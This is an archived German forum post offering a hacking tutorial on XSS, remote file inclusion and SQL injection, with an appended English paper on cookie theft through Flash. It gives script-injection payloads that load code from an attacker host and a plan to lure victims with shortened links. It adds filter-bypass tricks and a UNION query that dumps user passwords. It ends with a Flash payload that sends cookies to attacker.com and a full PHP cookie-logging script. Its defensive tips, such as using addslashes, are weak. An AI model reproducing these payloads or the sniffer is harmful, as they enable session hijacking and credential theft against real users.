Vollständige Version anzeigen : XSS Injection


Puddy
17.03.2009, 22:01

_____________________________________________
|:::::::::::::::::::::::::::::::::::::::::::::|
|:::::::::::::::::::::::::::::::::::::::::::::|
|:::: X X XSs XSs ::::|
|:::: X S S ::::| (<-- 1337 ASCII art;)
|:::: x x xSS xSS ::::|
|:::::::::::::::::::::::::::::::::::::::::::::|
|::::::::::::::::::::::::::::by [PHCN]Puddy:::|
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯



Hi, ich erzähle euch bisschen was über Cross Site Scripting, ich werde mich
bemühen alles niederzuschreiben was ich weiß, ich kann nicht behaupten, dass
ich alles über XSS weiß, aber ich denke es wird für den ein oder anderen
was neues dabei sein ;)

Also, here we go:

Als Cross Site Scripting (xss um es nicht mit cascading style sheets zu verwechseln)
bezeichnet man das Ausnutzen einer Sicherheitslücke in einer Webseite, die es möglich macht
HTML- über PHP- bis MySQL- (oder ähnliches, was anderes ist mir aber bisher noch nicht
unter gekommen ;)) -code einzufügen, eben je nachdem was für Möglichkeiten diese Sicherheitslücke bietet.


Ein kleines praktisches Beispiel..
Wir wollen uns eine Webseite vorstellen, auf der Webseite gibt es ein Suchfeld
Ich suche nach {SuchWort} und die Seite sagt mir:
Leider wurden bei ihrer Suche nach "{SuchWort}" keine Ergebnisse gefunden!
Überlegen wir mal kurz, was passiert wohl wenn wir nach
<script>alert('XSS!');</script>
suchen?
Bingo, die Seite schreibt den javascript code in den Quelltext, unser Browser parsed ihn,
und wir sehen eine alert box die XSS! ausgibt!
Aber halt, das ist doch nicht gefährlich?!
DOCH ist es!


### HTML/JS XSS
Fangen wir mit einer klassischen XSS Attacke an,
wir bringen eine Webseite dazu gefährlichen (HTML/JavaScript) code anzuzeigen
um an die Login Daten eines users zu kommen

Stellt euch mal ein Suchfeld vor, ich hoffe ihr könnt ein wenig HTML sonst kommen wir hier nicht weiter ;)
<input type=text value='enter search text here!'>

Wenn wir nach etwas gesucht haben, zb nach "LOLCATS!" sieht das selbe Feld so aus:
<input name='suchfeld' type='text' value='LOLCATS!'>

Es zeigt uns also an wonach wir als letztes gesucht haben.
Jetzt suchen wir mal nach
'><script src=;haxxorserver~pg/javascript;js></script>

Also, wie sieht der HTML Code nun aus?
<input name='suchfeld' type='text' value=''><script src=;haxxorserver~pg/javascript;js></script>'>

Ich denke das kann man nachvollziehen..
In dem javascript~js kann man jeden beliebigen Javascript code schreiben der Ausgeführt wird
wenn jemand entsprechend dem obigen Beispiel gefährlichen Code ins Suchfeld eingibt..

Ein einfaches "alert(document;cookie);" in der ~js Datei würde zb das Seitencookie anzeigen,
in dem sehr oft Passwort hashe gespeichert sind, in den allermeisten Fällen reicht so ein Passwort
um sich auf der Seite als das Opfer einloggen zu können.

Mit dem richtigen JS Code ist es kein Problem das Passwort zu speichern,
und es gibt viele user die man mit ein wenig Überredungskunst dazu bringen kann seltsamen, gefährlichen, code
ins Suchfeld einzugeben.. "was soll schon passieren?"


Ok, ok, ich weiss ihr seid ganz anders:
"Man kann ja vorher in die ~js schauen ob da gefährlicher code drin steht oder harmloser!"
tyo, da sage ich:
per PHP kann man dafür sorgen, dass beim ersten Aufruf der ~js ein harmloser
javascript code angezeigt wird, beim zweiten Aufruf jedoch das cookie wirklich kopiert und gespeichert wird..
jemand schaut sich an "hä was soll das, ah ok, nichts Gefährliches ich probiers mal aus.;"
und BÄMMMM hätte man sein cookie mit dem man sich auf der Seite einloggen kann..

XSS Attacken sind auf verdammt vielen Seiten möglich, auch
mod secure (nur für die PHP coder und admins ;)) hilft nichts!!
(mod secure ist eine php Einstellung die eigentlich dazu da ist Angriffe auf die Webseite zu verhindern (unglaublich nervig imho,
man sollte lieber sauber coden anstatt sich auf sowas zu verlassen!)


Jetzt möchte ich darauf eingehen wie das beschriebene Beispiel möglich ist,
dazu muss ich damit anfangen, dass es 2 Methoden gibt mit denen ein User einer
Webseite Daten übergeben kann, diese 2 Methoden heißen GET und POST
REIN TECHNISCH besteht so gut wie KEIN Unterschied!!

Der einzige Unterschied ist, dass die Daten bei GET an die URL angehängt werden
und zwar nach dem Schema
(;;;server;bla/datei;php?)[variable1]=[wert1]&[variable2]=[wert2]&[variable3]=[wert3]&[var4]=....

Bei POST werden die Daten nicht in der Adresse sondern extra in dem Request Paket an den Server übergeben,
unsichtbar für den User
Ich kann euch nur empfehlen euch das ganze mal in einem Packet Sniffer anzusehen, ich hab
aber unten unter Anhang am Ende des Textes auch ein POST und ein GET Packet angehängt, könnt ihr euch gern ansehen, denke
das erklärt einiges :)
Aber Prinzipiell, einfach mal bisschen mit HTML GET und POST methoden rumprobieren und das ganze im Packet Sniffer beobachten =)

Die bei dem Beispiel übergebenen POST Variablen sind:
(Variable=Wert)
HASH=2ebbddb45fcc5dcbb936ccb0306a2a55
searchtext="><script src=;ha;orserver;rox/javascript;js></script>
action=Go

(HASH ist eine ID mit der ich identifiziert werden kann, bei jedem User sieht die anders aus ;))

Viele Programmierer wissen nicht, dass man die übergebenen POST Daten faken kann,
Fakt ist: wenn man weiss wie, kann man die genauso leicht verändern wie die in der URL
Leiste stehenden GET Daten!
(Diese Tatsache ist wichtig wenn wir an html <input type=hidden> oder
Option boxen denken! Viele Programmierer vergessen, dass html client-seitig manipuliert werden kann.;)

Ok, Webseiten die unvorsichtig mit den GET Daten umgehen sind dennoch gefährdeter,
ich bin einfach mal so frei das ganze an einem echten Beispiel zu zeigen..
Man stelle sich vor ich möchte das cookie eines Mitglieds einer social community stehlen.
Ich schreib mein Opfer an "hey schau dir doch mal mein Profil an ;D" und geb ihm den Link:
;;;community~de/index;php?show=profil&id=meineid><script+src=;atacker~de/pwned;js>


Der Link ist jetzt relativ auffällig, aber wozu gibt es tinyurl;com?
RR:Board (;tinyurl~com/h4sh1)
sieht schon gar nicht mehr so auffällig aus oder? ;)

Und wieder gilt, ein weniger anderer JS code und ich kann das cookie stehlen..

Nochmal zusammenfassend:
um eine Lücke auszunutzen die POST Daten betrifft benötige ich schon ein wenig Social Engineering skills um mein Opfer dazu

zu bewegen den gefährlichen code selbst einzugeben,
eine GET Lücke nutze ich aus in dem ich einfach einen gefährlichen Link erstelle und mein Opfer dazu bring
den Link zu folgen..

Ausserdem könnte natürlich auch zb ein Gästebuch gefährdet sein, wenn es keine html tags
filtert könnten wir einfach "hi tolle Seite hast du! <script src=.;atacker;js> posten.
So bekommen wir die Cookies aller eingeloggten user die das Gästebuch betrachten...


Das waren die Basics zu HTML/JS XSS Attacken, und ich sage euch, verdammt
viele Seiten sind anfällig!


Mit diesen Basics hat man aber nur Erfolg wenn der Programmierer keinerlei Sicherheitsvorkehrungen
getroffen hat, zum Glück denken aber einige Programmierer doch mit und benützen Filter um XSS Attacken
unmöglich zu machen..
Allerdings gibt es leider nicht nur Filter die perfekt funktionieren, sondern auch welche die ausgetrickst
werden können..
Da es bereits sehr hilfreiche paper/Sammlungen dazu gibt, werde ich das ganze nicht noch einmal schreiben
da es eh das Selbe wäre, sondern geb euch einfach diesen Link ;)
(;sec;drorshalev~com/dev/xss/xssTricks;htm)

ausserdem hab ich mir noch folgendes zusammengesucht / selbst notiert, ich kann leider keine
Quellen angeben, ist aus meinem Notiz Zettel und da hab ich keine Quellen mitnotiert...
Also hier ein Auszug aus meinen Notizen, pro Zeile eine möglichkeit evntl Filter zu umgehen oä:

<span><[0x00]script>alert()</script></span> # IE completely ignores NULL chars.
It filters "expression" but does it filter expr/**/ession ?
src=//domain~ws/file~js (http: unnötig)
style=-moz-binding:url((;ha;ckers~org/xssmoz;xml#xss)) for Firefox
or style=width:expression(alert(1)) for Internet Explorer
filter "script" zu "" Lösung: <scr<scriptipt

sehr lesenswert ist auch Bypassing Filters With Encoding (;sla;ckers~org/forum/read;php?2,3153,3153)
In dem Thread geht es darum XSS Filter zu umgehen, in dem man den Unterschied
zwischen verschiedenen Encodings benützt. Wenn die Seite mit UTF 7 ausgegeben wird,
da Server und Client die Zeichen dann eventuell verschieden behandeln.. Doch da ich
was das angeht noch keinerlei praktische Erfahrung hab werde ich darüber nicht mehr schreiben,
falls es euch interessiert werdet ihr im Netz bestimmt fündig ;)


Um XSS Attacken unmöglich zu machen gibt es einmal die Funktion htmlspecialchars(),
sehr ratsam. Allgemein <> filtern ist ein großer Schritt,
aber es ist schwer das allgemein zu sagen da es immer wieder Ausnahmen gibt...
// filtern macht auch Sinn, so kann man nicht mehr ohne Weiteres externe Scripte einbinden
oder gestohlene Cookie-Daten an einen anderen Server übergeben..




### PHP/Remote File Inclusion(RFI)

Manchmal bekommt man auch die Möglichkeit eine Seite dazu zu bringen PHP-Fremdcode
zu parsen

bsp:
Eine Website mit vielen Seiten, folgt man einem Link so wird ein handle übergeben
und der entsprechende content angezeigt
wir stellen uns php code vor:

[..;header, navigation etc wird ausgegeben..;]
include($_GET['content'];';htm'); /*der Seiten Inhalt wird angezeigt*/

Wenn wir also die Seite "Kontakt" sehen wollen klicken wir den Link
index;php?content=kontakt - was passiert dabei?
php includet("kontakt";';htm');

nun, was bedeutet das..
Es bedeutet, PHP öffnet die Datei "kontakt;htm", parsed diese, und gibt das Ergebnis auf der
aufgerufenen index Seite aus. Falls php code in der Datei steht wird dieser ausgeführt!
- egal was die Dateiendung ist

//NOTE: falls das unverständlich is könnte ich eine Grafik dazu machen, lasst es mich wissen

wenn wir also die Seite index;php?content=;domain~de/phpdatei aufrufen,
öffnet unser Opfer-Server die Datei (;domain~de/phpdatei;htm), parsed diese und gibt das Ergebnis aus
- Fatal! Wir können so über die variable content php code einschleusen!

Einfaches workaround:
if (file_exists($_GET['content'])) include($_GET['content'];';htm');
(Greetings go to Mahjong ;))
die Funktion file_exists prüft nämlich nur lokal ob die Datei existiert und
öffnet Dateien nicht remote wie include..



### MySQL Injection

Auf Grund der vielen Möglichkeiten die ich selbst nicht (alle) beherrsche, möchte ich mir nicht
anmassen darüber viel zu schreiben, ich werde nur mit einem kleinen Beispiel auf das Prinzip
eingehen

Aber erstmal für die, die mysql zum ersten mal hören:
kommt wieder wenn ihr wisst was mysql ist *lol*
;D
aber zur Verständnis Hilfe, eine MySQL Datenbank kann man sich vor stellen wie eine Ansammlung von Tabellen
nehmen wir eine dummy Tabelle als Anschauungs Hilfe:

Table Dummy
Felder: | ID | name | passwort | mail | status
| 0 |admin | admin123 |ad;mail| admin
| 1 | eddy | merox111 |ac;mail| user
| 2 | andy | 123§³lol |ad;mail| user

und so weiter..
Eine Abfrage ist so aufgebaut:
SELECT [Felder, mit Kommma getrennt] FROM [Tabelle] WHERE [Bedingung, zb name='eddy']


Nun zum Beispiel

Wir stellen uns eine News Seite vor
Auf der News Seite gibt es viele Einträge und deswegen einen Link
"nur die letzten 10 anzeigen"
dabei wird news;php?limit=10 aufgerufen

in php sieht das so aus:


if(empty($_GET['limit'])) $limit=100; //Falls Limit leer, limit=100
else $limit=$_GET['limit']; //Limit=übergebener Limit Wert
$qry="SELECT titel,inhalt,autor,datum FROM news LIMIT $limit"; //die mysql Abfrage
mysql_query($qry); //das Script geht weiter, gibt Ergebnisse aus
[..;]



also kann der user festlegen was als LIMIT gesetzt wird, wieviele Ergebnisse maximal ausgegeben werden
aber wenn wir anstatt einer Zahl was anderes übergeben, wird das einfach genauso an den sql Befehl angehängt...
Ich möchte kurz den MySQL Befehl UNION vorstellen.. eine genaue Dokumentation findet man auf mysql;com, aber das hier soll
uns reichen:

union hängt an eine erste Abfrage eine Zweite an, es werden alle Ergebnisse gemeinsam zurückgegeben
select 1+1; gibt in mysql "2" zurück
select 1+1 union select 2+2; gibt 2 und 4 zurück

dh wenn wir in oben genannter query als limit
1 UNION SELECT 1+1
angeben, wird folgende Befehl Abfolge abgefragt:

SELECT titel,inhalt,autor,datum FROM news LIMIT 1 UNION SELECT 1+1

Da bekommen wir aber folgende Fehlermeldung:
The used SELECT statements have a different number of columns
Denn die 2te Abfrage, die mit UNION angehängt wird, muss die selbe Anzahl an Feldern abfragen wie die Erste,
das bedeutet wir müssen die Query so formen:

SELECT titel,inhalt,autor,datum FROM news LIMIT 1 UNION SELECT 1+1,2+2,3+3,4+4

jetzt ist es aber ziemlich langweilig eine MySQL Injection für Mathematik zu benützen, wir können
nämlich alles mögliche Abfragen! Wir müssen nur wissen wie die Tabellen und die Felder heissen,
die sind aber in der Regel leicht zu erraten
zb gibt es häufig eine Tabelle "user" oder "users" mit Feldern wie "email" "password" "name" "username" und so weiter,
da hilft nur raten und schauen wie variablen oder Begriffe auf der Seite verwendet werden. Programmierer benützen
häufig für Formulare die zb eine Email Addresse übergeben den selben Namen wie für das zugehörige Datenbank Feld..

also könnten wir als limit einfach mal
1 union select name,password,email,status from users
probieren! ;)

dann sollten uns News auffallen die keine Neuigkeiten enthalten, sondern lediglich von usernamen, Passwörtern und
emails handeln...

Denn PHP wird anstatt Titel, Namen, anstatt News Texten Passwörter, anstatt Autoren Emails und anstatt Datums(Daten?)
die zugehörigen Stati ausgeben.. :)

Ich hoffe ihr konntet einen Einblick gewinnen, ich bin sicher es gibt wesentlich bessere Tutorials zu MySQL Injections..


Um MySQL Injections unmöglich zu machen rate ich Queries Prinzipiell mit ' zu versehen, also nicht wie im bsp
mysql_query("SELECT titel,inhalt,autor,datum FROM news LIMIT %variable%")
sondern
mysql_query("SELECT titel,inhalt,autor,datum FROM news LIMIT '%variable%'")
und dann die %variable% vorher durch die Funktion addslashes() zu jagen, die macht nämlich aus allen ' ein \',
damit ist in dem Szenario eine Injection vereitelt..






Ich hoffe ich konnte euch etwas neues erzählen und ihr werdet in Zukunft vorsichtiger durch das Web surfen,
denn es sind auch eure Daten die in Gefahr sind!
Ist übrigens mein erstes Paper, also falls es ******** ist lassts mich wissen, und vor allem was ich besser machen kann :)







####ANHANG####
-----
Ein GET Request Paket:

GET /index;php?variable1=wert1&variable2=wert2 HTTP/1;1
Host: 127;0;0;1:80
User-Agent: Mozilla/5;0 (X11; U; Linux i686; de; rv:1;8;1;3) Gecko/20070310 Firefox/2;0;0;3 (Debian-2;0;0;3-1)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0;9,text/plain;q=0;8,image/png,*/*;q=0;5
Accept-Language: de-de,de;q=0;8,en-us;q=0;5,en;q=0;3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0;7,*;q=0;7
Keep-Alive: 300
Connection: keep-alive


Und das selbe per POST:

POST /index;php HTTP/1;1
Host: 127;0;0;1:80
User-Agent: Mozilla/5;0 (X11; U; Linux i686; de; rv:1;8;1;3) Gecko/20070310 Firefox/2;0;0;3 (Debian-2;0;0;3-1)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0;9,text/plain;q=0;8,image/png,*/*;q=0;5
Accept-Language: de-de,de;q=0;8,en-us;q=0;5,en;q=0;3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0;7,*;q=0;7
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-;-form-urlencoded
Content-Length: 31

variable1=wert1&variable2=wert2


#################






Angehängt noch ein anderes Paper, denke das könnte dazu passen ;)




#### FlashCookies ####

by [PHCN]Puddy


Cross Site Scripting(XSS) attacks are more dangerous
than one might think. It is quite an easy way to steal
passwords or login sessions from users, but the most
mention worthy aspect is that SO DAMN MANY pages are
vulnerable.. This is a way to implement such an attack
in a flash file and make even more pages vulnerable



1. XSS attack using a flash file
1;1 creating a flash file containing JavaScript code
1;2 modifying an existing flash file for our needs
1;3 'lil php cookie sniffer code



#######################################################
1. XSS attack using a flash file
#######################################################
Flash got a nice function.
This function is getURL()
We can use it to execute Javascript code,
getURL("javascript:alert('XSS')")

So everything else is quite simple eh? ;)

#######################################################
1;1 creating a flash file containing JavaScript code
#######################################################
Get yourselfe a Flash studio like
Macromedias Flash MX, start it and create a new ;swf
file, you might want to set its size to 1*1px.
Select the first frame and open the Action Tab,
You will be able write code now :)


i suggest to use something like:
getURL("javascript:function im(){Q=new Image(); Q;src=';;;attacker~com/sniffer;php?cookie='+window;document;cookie;}im();");

NOTE: the whole code must be in ONE line!
(otherwise flash barfs)
Export it to ;swf and you are done!

#######################################################
1;2 modifying an existing Flash file for our needs
#######################################################
Get a flash decompiler, i suggest the professional
version of Eltima Flash Decompiler (you need the prof vers!)
open the flash file you want to modify and export it to fla
now go to 1;1 and do the same steps, just open the ;fla instead
of a new file

#######################################################
1;3 'lil php cookie sniffer code
#######################################################
for those of you who don't know PHP
create a new file with your text editor, name it sniffer;php
and put this code in it:
<!--/*##start copy##*/-->
<?php
$cookie = $_GET['c'];
if($cookie!="") {
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');

$fp = fopen('cook;txt', 'a');
fwrite($fp, "\nrefer: $referer\ndate: $date\nip: $ip\ncookiedata: \n$cookie\n-+-+-+-+-+-+-+-+-+-\n");
fclose($fp);
}
?>
<!--/*##stop copy##*/-->

Upload the file on your php supporting webspace
and use host~com - de beste bron van informatie over Host. Deze website is te koop! (;host~com/sniffer;php?c=)[COOKIE DATA]
(there are better sniffer scripts, but basicly thats all ya need
(you might have to set chmod777 for the cook;txt, depends on your server)


Ist schon bisschen länger her dass ich das geschrieben hab, ist aber immernoch aktuell!
Über Kommentare oder Fragen würd ich mich freun ;)

Hardware Preisvergleich | Amazon Blitzangebote!

Videos zum Thema
Video Loading...
Ähnliche Themen zu XSS Injection
  • [3D] Music Injection
    (;;;myimg~de/?img=16z101680x1050ver3rtc17hf7b35;jpg) Ich hab mich auch mal an einer Animation probiert. Klick Mich ;) (;bluehost~to/dl=T51FkvtAj) Passwort: musicinjection Kritik erwünscht [...]

  • Sql Injection
    Also habe da ein paar Fragen dazu. (1) Wie bekomme ich raus ob im Hintergrund eine Datenbank läuft? (2) Injection geschieht ja mit Select ....... und dabei muss man ja die Tabelle und auch die Spalten kennen zumindest wie sie genannt werden. Wie bekommt man das raus? (3) Nachdem m [...]

  • lokale HTML Code Injection (z.B. via .DLL Injection)
    Abend, Keine Ahnung ob das besser in der Programmier Bereich oder hier rein passt.. Jedenfalls suche ich paar Info's zur lokalen HTML Code injection/manipulation (also in einen laufenden Browser), z;B. durch DLL Injection, RAM Manipulation etc.. am liebsten waere mir nen sourcecode (egal welche sp [...]



raid-rush.ws | Imprint & Contact pr